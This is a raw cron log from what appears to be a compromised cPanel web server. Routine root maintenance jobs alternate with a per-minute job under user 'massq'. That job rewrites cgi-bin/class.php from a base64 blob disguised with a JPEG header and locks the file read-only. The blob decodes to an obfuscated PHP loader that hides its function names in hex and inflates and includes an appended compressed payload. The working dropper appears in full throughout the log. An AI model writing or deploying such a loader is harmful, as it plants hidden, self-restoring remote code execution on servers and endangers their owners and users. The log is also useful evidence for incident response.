Sep  7 00:58:01 server CROND[7027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:58:01 server CROND[7043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:59:01 server CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:59:01 server CROND[7461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:59:01 server CROND[7463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:00:01 server CROND[7955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:00:01 server CROND[7957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:00:01 server CROND[7959]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 01:00:01 server CROND[7958]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:00:01 server CROND[7960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:00:01 server CROND[7961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:00:01 server CROND[7963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:00:01 server CROND[7964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:00:01 server CROND[7962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:01:01 server CROND[8866]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 01:01:01 server CROND[8868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:01:01 server CROND[8870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:01:01 server CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:01:01 server run-parts(/etc/cron.hourly)[8866]: starting 0anacron
Sep  7 01:01:01 server anacron[8886]: Anacron started on 2026-09-07
Sep  7 01:01:01 server anacron[8886]: Normal exit (0 jobs run)
Sep  7 01:01:01 server run-parts(/etc/cron.hourly)[8888]: finished 0anacron
Sep  7 01:02:01 server CROND[9248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:02:01 server CROND[9249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:02:01 server CROND[9250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:03:01 server CROND[9617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:03:01 server CROND[9618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:03:01 server CROND[9619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:04:01 server CROND[10001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:04:01 server CROND[10002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:04:01 server CROND[10003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:05:01 server CROND[10480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:05:01 server CROND[10481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:05:01 server CROND[10483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:05:02 server CROND[10490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:05:02 server CROND[10493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:05:02 server CROND[10492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:05:02 server CROND[10495]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:05:02 server CROND[10491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:06:01 server CROND[11370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:06:01 server CROND[11371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:06:01 server CROND[11372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:07:01 server CROND[11754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:07:01 server CROND[11755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:07:01 server CROND[11756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:08:01 server CROND[12128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:08:01 server CROND[12129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:08:01 server CROND[12130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:09:01 server CROND[12577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:09:01 server CROND[12578]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 01:09:01 server CROND[12579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:09:01 server CROND[12580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:10:01 server CROND[12957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
